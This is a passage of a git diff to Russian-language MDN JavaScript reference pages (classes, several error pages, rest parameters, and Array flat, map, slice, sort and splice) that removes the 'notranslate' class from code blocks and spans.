@@ console.log(instance.publicMethod()); <p>Внутри методов экземпляра, <code>this</code> ссылается на сам экземпляр.<br> В классах наследниках, <code>super</code> даёт доступ к прототипу базового класса, позволяя вызывать его методы.</p> -<pre class="brush: js notranslate">class BaseClass { +<pre class="brush: js">class BaseClass { msg = 'hello world'; basePublicMethod() { return this.msg; @@ -225,7 +225,7 @@ console.log(instance.subPublicMethod()); <p>Геттеры и сеттеры это специальные методы, которые привязаны к свойствам класса и которые вызываются, когда к свойству обращаются или записывают. Используйте <a href="/ru/docs/Web/JavaScript/Reference/Functions/get">get</a> и <a href="/ru/docs/Web/JavaScript/Reference/Functions/set">set</a> для объявления публичных геттеров и сеттеров экземпляра.</p> -<pre class="brush: js notranslate">class ClassWithGetSet { +<pre class="brush: js">class ClassWithGetSet { #msg = 'hello world'; get msg() { return this.#msg; diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html index c4cc82a20b..002078bc54 100644 --- a/files/ru/web/javascript/reference/errors/bad_radix/index.html +++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html @@ -21,11 +21,11 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p><span class="notranslate">Метод </span> {{jsxref("Number.prototype.toString()")}} <span class="notranslate">был вызван с дополнительным параметром <code>radix</code>.</span> <span class="notranslate"> Его значение должно быть целым числом, принадлежащим промежутку от 2 до 36 и указывающим основание системы счисления, которая должна быть использована для представления численных значений.</span> <span class="notranslate"> Например, десятичное (основание 10) число 169 представляется в шестнадцатеричном виде (основание 16) как A9.</span></p> +<p><span>Метод </span> {{jsxref("Number.prototype.toString()")}} <span>был вызван с дополнительным параметром <code>radix</code>.</span> <span> Его значение должно быть целым числом, принадлежащим промежутку от 2 до 36 и указывающим основание системы счисления, которая должна быть использована для представления численных значений.</span> <span> Например, десятичное (основание 10) число 169 представляется в шестнадцатеричном виде (основание 16) как A9.</span></p> -<p><span class="notranslate">Почему значение этого параметра не может быть больше, чем 36? Для оснований</span><span class="notranslate">, превышающих 10, в качестве цифр используются алфавитные символы;</span> <span class="notranslate"> следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.</span></p> +<p><span>Почему значение этого параметра не может быть больше, чем 36? Для оснований</span><span>, превышающих 10, в качестве цифр используются алфавитные символы;</span> <span> следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.</span></p> -<p><span class="notranslate">Наиболее распространённые основания систем счисления:</span></p> +<p><span>Наиболее распространённые основания систем счисления:</span></p> <ul> <li>2 для <a href="https://ru.wikipedia.org/wiki/Двоичная_система_счисления">двоичных чисел</a>,</li> @@ -36,7 +36,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) <h2 id="Примеры">Примеры</h2> -<h3 class="highlight-spanned" id="Некорректное_применение"><span class="highlight-span"><span class="notranslate">Некорректное применение</span></span></h3> +<h3 class="highlight-spanned" id="Некорректное_применение"><span class="highlight-span"><span>Некорректное применение</span></span></h3> <pre class="brush: js example-bad">(42).toString(0); (42).toString(1); @@ -54,7 +54,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome) (100000).toString(16) // "186a0" (шестнадцатеричная) </pre> -<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2> +<h2 id="Смотрите_также"><span>Смотрите также</span></h2> <ul> <li>{{jsxref("Number.prototype.toString()")}}</li> diff --git a/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html index 60d17cbcfb..d1316fe4f9 100644 --- a/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html +++ b/files/ru/web/javascript/reference/errors/cant_assign_to_property/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property <h2 id="Message">Message</h2> -<pre class="syntaxbox notranslate">TypeError: <code class="highlighted" id="line-87">can't assign to property "x" on {y}: not an object</code> (Firefox) +<pre class="syntaxbox">TypeError: <code class="highlighted" id="line-87">can't assign to property "x" on {y}: not an object</code> (Firefox) TypeError: Cannot create property 'x' on {y} (Chrome) </pre> @@ -27,7 +27,7 @@ TypeError: Cannot create property 'x' on {y} (Chrome) <h3 id="Invalid_cases">Invalid cases</h3> -<pre class="brush: js example-bad notranslate">'use strict'; +<pre class="brush: js example-bad">'use strict'; var foo = "my string"; // The following line does nothing if not in strict mode. @@ -38,7 +38,7 @@ foo.bar = {}; // <span class="message-body-wrapper"><span class="message-flex-bo <p>Either fix the code to prevent the <a href="/en-US/docs/Glossary/primitive">primitive</a> from being used in such places, or fix the issue is to create the object equivalent {{jsxref("Object")}}.</p> -<pre class="brush: js example-good notranslate">'use strict'; +<pre class="brush: js example-good">'use strict'; var foo = new String("my string"); foo.bar = {}; diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html index 7eecd4634b..246bb98a4c 100644 --- a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html +++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cyclic_object_value <h2 id="Сообщения">Сообщения</h2> -<pre class="syntaxbox notranslate">TypeError: циклическое значение объекта (Firefox) +<pre class="syntaxbox">TypeError: циклическое значение объекта (Firefox) TypeError: преобразование круговой структуры в JSON (Chrome и Opera) TypeError: циклическая ссылка в аргументе значения не поддерживается (Edge) </pre> @@ -27,13 +27,13 @@ TypeError: циклическая ссылка в аргументе значе <p>В круговой структуре как эта</p> -<pre class="brush: js notranslate">var circularReference = {otherData: 123}; +<pre class="brush: js">var circularReference = {otherData: 123}; circularReference.myself = circularReference; </pre> <p>{{jsxref("JSON.stringify()")}} закончится неудачей</p> -<pre class="brush: js example-bad notranslate">JSON.stringify(circularReference); +<pre class="brush: js example-bad">JSON.stringify(circularReference); // TypeError: циклическое значение объекта </pre> @@ -45,7 +45,7 @@ circularReference.myself = circularReference; -<pre class="brush: js notranslate">const getCircularReplacer = () => { +<pre class="brush: js">const getCircularReplacer = () => { const seen = new WeakSet(); return (key, value) => { if (typeof value === "object" && value !== null) { diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html index d1a9834174..cd14e4a559 100644 --- a/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html +++ b/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html @@ -20,13 +20,13 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_lis <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p><span class="notranslate">Произошла ошибка в синтаксисе <a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">инициализатора объекта</a>.</span> <span class="notranslate">Причиной может быть отсутствующая фигурная скобка или, к примеру, недостающая запятая.</span> <span class="notranslate"> Также проверьте, в правильном ли порядке расположены закрывающие круглые и фигурные скобки.</span> Добавление отступов или <span class="notranslate">форматирование кода в более благоприятный вид также могут помочь разобраться в беспорядке.</span></p> +<p><span>Произошла ошибка в синтаксисе <a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">инициализатора объекта</a>.</span> <span>Причиной может быть отсутствующая фигурная скобка или, к примеру, недостающая запятая.</span> <span> Также проверьте, в правильном ли порядке расположены закрывающие круглые и фигурные скобки.</span> Добавление отступов или <span>форматирование кода в более благоприятный вид также могут помочь разобраться в беспорядке.</span></p> <h2 id="Примеры">Примеры</h2> -<h3 class="highlight-spanned" id="Забытая_запятая"><span class="highlight-span"><span class="notranslate">Забытая запятая</span></span></h3> +<h3 class="highlight-spanned" id="Забытая_запятая"><span class="highlight-span"><span>Забытая запятая</span></span></h3> -<p><span class="notranslate">Зачастую в коде инициализатора объекта есть недостающая запятая:</span></p> +<p><span>Зачастую в коде инициализатора объекта есть недостающая запятая:</span></p> <pre class="brush: js example-bad">var obj = { a: 1, @@ -44,8 +44,8 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_lis }; </pre> -<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2> +<h2 id="Смотрите_также"><span>Смотрите также</span></h2> <ul> - <li><span class="notranslate"><a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">Инициализация объектов</a></span></li> + <li><span><a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">Инициализация объектов</a></span></li> </ul> diff --git a/files/ru/web/javascript/reference/functions/rest_parameters/index.html b/files/ru/web/javascript/reference/functions/rest_parameters/index.html index 73598d94b7..2ec6bf462a 100644 --- a/files/ru/web/javascript/reference/functions/rest_parameters/index.html +++ b/files/ru/web/javascript/reference/functions/rest_parameters/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Functions/rest_parameters <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">function(a, b, ...theArgs) { +<pre class="brush: js">function(a, b, ...theArgs) { // ... } </pre> @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Functions/rest_parameters <p>Если последний именованный аргумент функции имеет префикс <code>...</code>, он автоматически становится массивом с элементами от <code>0</code> до <code>theArgs.length-1</code> в соответствии с актуальным количеством аргументов, переданных в функцию.</p> -<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) { +<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) { console.log("a", a); console.log("b", b); console.log("manyMoreArgs", manyMoreArgs); @@ -52,7 +52,7 @@ myFun("один", "два", "три", "четыре", "пять", "шесть"); <p>Остаточные параметры были введены для уменьшения количества шаблонного кода:</p> -<pre class="brush: js notranslate">// До появления остаточных параметров "arguments" конвертировали в обычный массив используя: +<pre class="brush: js">// До появления остаточных параметров "arguments" конвертировали в обычный массив используя: function f(a, b) { @@ -78,7 +78,7 @@ function f(...args) { <p>Остаточные параметры могут быть деструктурированы (только массивы). Это означает, что их данные могут быть заданы как отдельные значения. Смотрите <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Деструктурирующее присваивание</a>.</p> -<pre class="notranslate"><code>function f(...[a, b, c]) { +<pre><code>function f(...[a, b, c]) { return a + b + c; } @@ -90,7 +90,7 @@ f(1, 2, 3, 4) // 6 (четвёртый параметр не деструкту <p>В этом примере первый аргумент задан как <code>"a"</code>, второй как <code>"b"</code>, так что эти аргументы используются как обычно. Однако третий аргумент <code>"manyMoreArgs"</code> будет массивом, который содержит 3-й, 4-й, 5-й, 6-й ... n-й аргументы, которые передаст пользователь.</p> -<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) { +<pre class="brush: js">function myFun(a, b, ...manyMoreArgs) { console.log("a", a); console.log("b", b); console.log("manyMoreArgs", manyMoreArgs); @@ -104,7 +104,7 @@ myFun("один", "два", "три", "четыре", "пять", "шесть"); <p>Ниже... даже если передано одно значение последним аргументом, оно всё равно помещается в массив.</p> -<pre class="brush: js notranslate">// использование той же функции, что и в примере выше +<pre class="brush: js">// использование той же функции, что и в примере выше myFun("один", "два", "три"); @@ -114,7 +114,7 @@ myFun("один", "два", "три"); <p>Ниже... третий аргумент не был передан, но "manyMoreArgs" всё ещё массив (хотя и пустой).</p> -<pre class="brush: js notranslate">// использование той же функции, что и в примере выше +<pre class="brush: js">// использование той же функции, что и в примере выше myFun("один", "два"); @@ -124,7 +124,7 @@ myFun("один", "два"); <p>Поскольку <code>theArgs</code> является массивом, количество элементов в нём определяется свойством <code>length</code>:</p> -<pre class="brush: js notranslate">function fun1(...theArgs) { +<pre class="brush: js">function fun1(...theArgs) { console.log(theArgs.length); } @@ -134,7 +134,7 @@ fun1(5, 6, 7); // 3</pre> <p>В следующем примере, остаточные параметры используются для сбора всех аргументов после первого в массив. Каждый из них умножается на первый параметр и возвращается массив:</p> -<pre class="brush: js notranslate"><code>function multiply(multiplier, ...theArgs) { +<pre class="brush: js"><code>function multiply(multiplier, ...theArgs) { return theArgs.map(function(element) { return multiplier * element; }); @@ -145,7 +145,7 @@ console.log(arr); // [2, 4, 6]</code></pre> <p>Методы <code>Array</code> могут быть использованы на остаточных параметрах, но не на объекте <code>arguments</code>: </p> -<pre class="brush: js notranslate">function sortRestArgs(...theArgs) { +<pre class="brush: js">function sortRestArgs(...theArgs) { var sortedArgs = theArgs.sort(); return sortedArgs; } @@ -162,7 +162,7 @@ console.log(sortArguments(5, 3, 7, 1)); // TypeError (arguments.sort is not a fu <p>Чтобы использовать методы <code>Array</code> на объекте <code>arguments</code>, нужно преобразовать его в настоящий массив.</p> -<pre class="brush: js notranslate"><code>function sortArguments() { +<pre class="brush: js"><code>function sortArguments() { var args = Array.from(arguments); var sortedArgs = args.sort(); return sortedArgs; diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html index eaa8167868..202898bb9d 100644 --- a/files/ru/web/javascript/reference/global_objects/array/flat/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>var newArray = arr</var>.flat(<var>depth</var>);</pre> +<pre class="syntaxbox"><var>var newArray = arr</var>.flat(<var>depth</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat <h3 id="Упрощение_вложенных_массивов">Упрощение вложенных массивов</h3> -<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]]; +<pre class="brush: js">var arr1 = [1, 2, [3, 4]]; arr1.flat(); // [1, 2, 3, 4] @@ -57,7 +57,7 @@ arr4.flat(Infinity); <p>Метод flat удаляет пустые слоты из массива:</p> -<pre class="brush: js notranslate">var arr4 = [1, 2, , 4, 5]; +<pre class="brush: js">var arr4 = [1, 2, , 4, 5]; arr4.flat(); // [1, 2, 4, 5] </pre> @@ -66,7 +66,7 @@ arr4.flat(); <h3 id="reduce_и_concat"><code>reduce</code> и <code>concat</code></h3> -<pre class="brush: js notranslate">var arr1 = [1, 2, [3, 4]]; +<pre class="brush: js">var arr1 = [1, 2, [3, 4]]; arr1.flat(); // В одномерный массив @@ -76,7 +76,7 @@ arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4] const flatSingle = arr => [].concat(...arr); </pre> -<pre class="brush: js notranslate">// Для развёртывания многомерных массивов используем рекурсию, reduce и concat +<pre class="brush: js">// Для развёртывания многомерных массивов используем рекурсию, reduce и concat const arr = [1, 2, [3, 4, [5, 6]]]; function flatDeep(arr, d = 1) { @@ -87,7 +87,7 @@ function flatDeep(arr, d = 1) { flatDeep(arr, Infinity); // [1, 2, 3, 4, 5, 6]</pre> -<pre class="brush: js notranslate">//не рекурсивное упрощение с использованием стэка +<pre class="brush: js">//не рекурсивное упрощение с использованием стэка var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]]; function flatten(input) { const stack = [...input]; @@ -108,7 +108,7 @@ function flatten(input) { flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4] </pre> -<pre class="brush: js notranslate">//рекурсивно упрощаем массив +<pre class="brush: js">//рекурсивно упрощаем массив function flatten(array) { var flattend = []; (function flat(array) { diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html b/files/ru/web/javascript/reference/global_objects/array/map/index.html index a5ac485843..226fe12470 100644 --- a/files/ru/web/javascript/reference/global_objects/array/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/map <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">let <var>new_array</var> = <var>arr</var>.map(function <var>callback</var>( <var>currentValue</var>[, <var>index</var>[, <var>array</var>]]) { +<pre class="syntaxbox">let <var>new_array</var> = <var>arr</var>.map(function <var>callback</var>( <var>currentValue</var>[, <var>index</var>[, <var>array</var>]]) { // Возвращает элемент для new_array }[, <var>thisArg</var>])</pre> @@ -69,7 +69,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/map <p>Следующий код берёт массив чисел и создаёт новый массив, содержащий квадратные корни чисел из первого массива.</p> -<pre class="brush: js notranslate">var numbers = [1, 4, 9]; +<pre class="brush: js">var numbers = [1, 4, 9]; var roots = numbers.map(Math.sqrt); // теперь roots равен [1, 2, 3], а numbers всё ещё равен [1, 4, 9] </pre> @@ -78,7 +78,7 @@ var roots = numbers.map(Math.sqrt); <p>Следующий код показывает, как работает отображение, когда функция требует один аргумент. Аргумент будет автоматически присваиваться каждому элементу массива, когда <code>map</code> проходит по оригинальному массиву.</p> -<pre class="brush: js notranslate">var numbers = [1, 4, 9]; +<pre class="brush: js">var numbers = [1, 4, 9]; var doubles = numbers.map(function(num) { return num * 2; }); @@ -89,7 +89,7 @@ var doubles = numbers.map(function(num) { <p>Этот пример показывает, как использовать <code>map</code> на объекте строки {{jsxref("Global_Objects/String", "String")}} для получения массива байт в кодировке ASCII, представляющего значения символов:</p> -<pre class="brush: js notranslate">var map = Array.prototype.map; +<pre class="brush: js">var map = Array.prototype.map; var a = map.call('Hello World', function(x) { return x.charCodeAt(0); }); // теперь a равен [72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100] </pre> @@ -98,7 +98,7 @@ var a = map.call('Hello World', function(x) { return x.charCodeAt(0); }); <p>Этот пример показывает, как пройтись по коллекции объектов, собранных с помощью <code>querySelectorAll</code>. В данном случае мы получаем все выбранные опции на экране и печатаем их в консоль:</p> -<pre class="brush: js notranslate">var elems = document.querySelectorAll('select option:checked'); +<pre class="brush: js">var elems = document.querySelectorAll('select option:checked'); var values = [].map.call(elems, function(obj) { return obj.value; }); @@ -108,7 +108,7 @@ var values = [].map.call(elems, function(obj) { <h3 id="Example_Using_map_to_reverse_a_string">Пример: использование <code>map</code> для переворачивания строки</h3> -<pre class="brush: js notranslate">var str = '12345'; +<pre class="brush: js">var str = '12345'; [].map.call(str, function(x) { return x; }).reverse().join(''); @@ -125,7 +125,7 @@ var values = [].map.call(elems, function(obj) { <p>Распространённой практикой является использование колбэк-функции с одним аргументом (элемент, над которым производится операция). Некоторые функции также широко используется с одним аргументом, хотя они принимают дополнительные необязательные аргументы. Эти привычки могут привести к неожиданному поведению программы.</p> -<pre class="brush: js notranslate">// Рассмотрим пример: +<pre class="brush: js">// Рассмотрим пример: ['1', '2', '3'].map(parseInt); // Хотя ожидаемый результат вызова равен [1, 2, 3], // в действительности получаем [1, NaN, NaN] @@ -152,7 +152,7 @@ function returnInt(element) { <p>Метод <code>map</code> был добавлен к стандарту ECMA-262 в 5-м издании; поэтому он может отсутствовать в других реализациях стандарта. Вы можете работать с ним, добавив следующий код в начало ваших скриптов, он позволяет использовать <code>map</code> в реализациях, которые не поддерживают этот метод. Этот алгоритм является точно тем, что описан в ECMA-262 5-го издания; он предполагает, что {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/TypeError", "TypeError")}} и {{jsxref("Global_Objects/Array", "Array")}} имеют свои первоначальные значения и что <code>callback.call</code> вычисляется в оригинальное значение {{jsxref("Function.prototype.call")}}.</p> -<pre class="brush: js notranslate">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.19 +<pre class="brush: js">// Шаги алгоритма ECMA-262, 5-е издание, 15.4.4.19 // Ссылка (en): http://es5.github.com/#x15.4.4.19 // Ссылка (ru): http://es5.javascript.ru/x15.4.html#x15.4.4.19 if (!Array.prototype.map) { diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html index d5c9f8b897..86299563c0 100644 --- a/files/ru/web/javascript/reference/global_objects/array/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>arr</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre> +<pre class="syntaxbox"><code><var>arr</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -56,7 +56,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice <h3 id="Example_Return_a_portion_of_an_existing_array">Пример: возврат части существующего массива</h3> -<pre class="brush: js notranslate">// Пример: наши хорошие друзья цитрусовые среди фруктов +<pre class="brush: js">// Пример: наши хорошие друзья цитрусовые среди фруктов var fruits = ['Банан', 'Апельсин', 'Лимон', 'Яблоко', 'Манго']; var citrus = fruits.slice(1, 3); @@ -67,7 +67,7 @@ var citrus = fruits.slice(1, 3); <p>В следующем примере метод <code>slice()</code> создаёт новый массив, <code>newCar</code>, из массива <code>myCar</code>. Оба содержат ссылку на объект <code>myHonda</code>. Когда цвет в объекте <code>myHonda</code> изменяется на багровый, оба массива замечают это изменение.</p> -<pre class="brush: js notranslate">// Используя slice, создаём newCar из myCar. +<pre class="brush: js">// Используя slice, создаём newCar из myCar. var myHonda = { color: 'красный', wheels: 4, engine: { cylinders: 4, size: 2.2 } }; var myCar = [myHonda, 2, 'в хорошем состоянии', 'приобретена в 1997']; var newCar = myCar.slice(0, 2); @@ -90,7 +90,7 @@ console.log('newCar[0].color = ' + newCar[0].color); <p>Этот скрипт выведет:</p> -<pre class="brush: js notranslate">myCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2, +<pre class="brush: js">myCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2, 'в хорошем состоянии', 'приобретена в 1997'] newCar = [{color:'красный', wheels:4, engine:{cylinders:4, size:2.2}}, 2] myCar[0].color = красный @@ -104,7 +104,7 @@ newCar[0].color = багровый <p>Метод <code>slice()</code> также может использоваться для преобразования массивоподобных объектов / коллекций в новый массив <code>Array</code>. Вам просто нужно привязать метод к объекту. Псевдомассив {{jsxref("Functions_and_function_scope/arguments", "arguments")}} внутри функции как раз является примером «массивоподобного объекта».</p> -<pre class="brush: js notranslate">function list() { +<pre class="brush: js">function list() { return Array.prototype.slice.call(arguments, 0); } @@ -113,7 +113,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3] <p>Привязка может быть осуществлена посредством функции .<code>call()</code> из прототипа функции {{jsxref("Function.prototype")}}, также запись может быть сокращена до <code>[].slice.call(arguments)</code> вместо использования <code>Array.prototype.slice.call()</code>. В любом случае, она может быть упрощена посредством использования функции {{jsxref("Function.prototype.bind()", "bind()")}}.</p> -<pre class="brush: js notranslate">var unboundSlice = Array.prototype.slice; +<pre class="brush: js">var unboundSlice = Array.prototype.slice; var slice = Function.prototype.call.bind(unboundSlice); function list() { @@ -127,7 +127,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3] <p>Хотя спецификация не требует от хост-объектов (например, объектов DOM) следовать поведению Mozilla при преобразовании с помощью <code>Array.prototype.slice()</code> и IE < 9 так не делает, версии IE, начиная с 9-й это умеют. «Прокладывание» позволяет добиться надёжного кросс-браузерного поведения. Пока другие современные браузеры будут поддерживать эту способность, что и делают в настоящее время IE, Mozilla, Chrome, Safari и Opera, разработчики, читая (поддерживающий DOM) код функции <code>slice()</code>, опирающийся на эту прокладку, не будут вводиться в заблуждение его семантикой; они могут смело полагаться на текущую семантику, являющуюся, видимо, <em>де-факто</em> стандартным поведением. (Прокладка также исправляет поведение IE, позволяя работать со вторым аргументом <code>slice()</code>, явно определённым как {{jsxref("Global_Objects/null", "null")}}/{{jsxref("Global_Objects/undefined", "undefined")}}, поскольку более ранние версии IE такое не позволяют, но все современные браузеры, в том числе IE >= 9, поддерживают данное поведение.)</p> -<pre class="brush: js notranslate">/** +<pre class="brush: js">/** * Прокладка для "исправления" отсутствия поддержки в IE < 9 применения slice * к хост-объектам вроде NamedNodeMap, NodeList и HTMLCollection * (технически, поскольку хост-объекты зависят от реализации, diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html index 6408c3d51f..a1ddae9c5c 100644 --- a/files/ru/web/javascript/reference/global_objects/array/sort/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre> +<pre class="syntaxbox"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre> <h3 id="Parameters">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort <p>Если функция сравнения <code>compareFunction</code> не предоставляется, элементы сортируются путём преобразования их в строки и сравнения строк в порядке следования кодовых точек Unicode. Например, слово "Вишня" идёт перед словом "бананы". При числовой сортировке, 9 идёт перед 80, но поскольку числа преобразуются в строки, то "80" идёт перед "9" в соответствии с порядком в Unicode.</p> -<pre class="brush: js notranslate">var fruit = ['арбузы', 'бананы', 'Вишня']; +<pre class="brush: js">var fruit = ['арбузы', 'бананы', 'Вишня']; fruit.sort(); // ['Вишня', 'арбузы', 'бананы'] var scores = [1, 2, 10, 21]; @@ -56,7 +56,7 @@ things.sort(); // ['1 Слово', '2 Слова', 'Слово', 'слово'] <p>Итак, функция сравнения имеет следующую форму:</p> -<pre class="brush: js notranslate">function compare(a, b) { +<pre class="brush: js">function compare(a, b) { if (a меньше b по некоторому критерию сортировки) { return -1; } @@ -70,14 +70,14 @@ things.sort(); // ['1 Слово', '2 Слова', 'Слово', 'слово'] <p>Для числового сравнения, вместо строкового, функция сравнения может просто вычитать <code>b</code> из <code>a</code>. Следующая функция будет сортировать массив по возрастанию:</p> -<pre class="brush: js notranslate">function compareNumbers(a, b) { +<pre class="brush: js">function compareNumbers(a, b) { return a - b; } </pre> <p>Метод <code>sort</code> можно удобно использовать с {{jsxref("Operators/function", "функциональными выражениями", "", 1)}} (и <a href="/ru/docs/Web/JavaScript/Guide/Closures">замыканиями</a>):</p> -<pre class="brush: js notranslate">var numbers = [4, 2, 5, 1, 3]; +<pre class="brush: js">var numbers = [4, 2, 5, 1, 3]; numbers.sort(function(a, b) { return a - b; }); @@ -86,7 +86,7 @@ console.log(numbers); // [1, 2, 3, 4, 5] <p>Объекты могут быть отсортированы по значению одного из своих свойств.</p> -<pre class="brush: js notranslate">var items = [ +<pre class="brush: js">var items = [ { name: 'Edward', value: 21 }, { name: 'Sharpe', value: 37 }, { name: 'And', value: 45 }, @@ -112,7 +112,7 @@ items.sort(function (a, b) { <p>В следующем примере создаётся четыре массива, сначала отображается первоначальный массив, а затем они сортируются. Числовые массивы сортируются сначала без, а потом с функцией сравнения.</p> -<pre class="brush: js notranslate">var stringArray = ['Голубая', 'Горбатая', 'Белуга']; +<pre class="brush: js">var stringArray = ['Голубая', 'Горбатая', 'Белуга']; var numericStringArray = ['80', '9', '700']; var numberArray = [40, 1, 5, 200]; var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200]; @@ -140,7 +140,7 @@ console.log('Сортировка с функцией compareNumbers:', mixedNum <p>Этот пример произведёт следующий вывод. Как показывает вывод, когда используется функция сравнения, числа сортируются корректно вне зависимости от того, являются ли они собственно числами или строками с числами.</p> -<pre class="notranslate">stringArray: Голубая,Горбатая,Белуга +<pre>stringArray: Голубая,Горбатая,Белуга Сортировка: Белуга,Голубая,Горбатая numberArray: 40,1,5,200 @@ -160,7 +160,7 @@ mixedNumericArray: 80,9,700,40,1,5,200 <p>Для сортировки строк с не-ASCII символами, то есть строк с символами акцента (e, é, è, a, ä и т.д.), строк, с языками, отличными от английского: используйте {{jsxref("String.localeCompare")}}. Эта функция может сравнивать эти символы, чтобы они становились в правильном порядке.</p> -<pre class="brush: js notranslate">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; +<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu']; items.sort(function (a, b) { return a.localeCompare(b); }); @@ -172,7 +172,7 @@ items.sort(function (a, b) { <p>Функция сравнения <code>(compareFunction)</code> может вызываться несколько раз для каждого элемента в массиве. В зависимости от природы функции сравнения, это может привести к высоким расходам ресурсов. Чем более сложна функция сравнения и чем больше элементов требуется отсортировать, тем разумнее использовать <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> для сортировки. Идея состоит в том, чтобы обойти массив один раз, чтобы извлечь фактические значения, используемые для сортировки, во временный массив, отсортировать временный массив, а затем обойти временный массив для получения правильного порядка.</p> -<pre class="brush: js notranslate">// массив для сортировки +<pre class="brush: js">// массив для сортировки var list = ['Дельта', 'альфа', 'ЧАРЛИ', 'браво']; // временный массив содержит объекты с позицией и значением сортировки diff --git a/files/ru/web/javascript/reference/global_objects/array/splice/index.html b/files/ru/web/javascript/reference/global_objects/array/splice/index.html index e92751abf6..e562c12bcc 100644 --- a/files/ru/web/javascript/reference/global_objects/array/splice/index.html +++ b/files/ru/web/javascript/reference/global_objects/array/splice/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>array</var>.splice(<var>start[</var>, <var>deleteCount</var>[, <var>item1</var>[, <var>item2</var>[, ...]]]]) +<pre class="syntaxbox"><code><var>array</var>.splice(<var>start[</var>, <var>deleteCount</var>[, <var>item1</var>[, <var>item2</var>[, ...]]]]) </code></pre> <h3 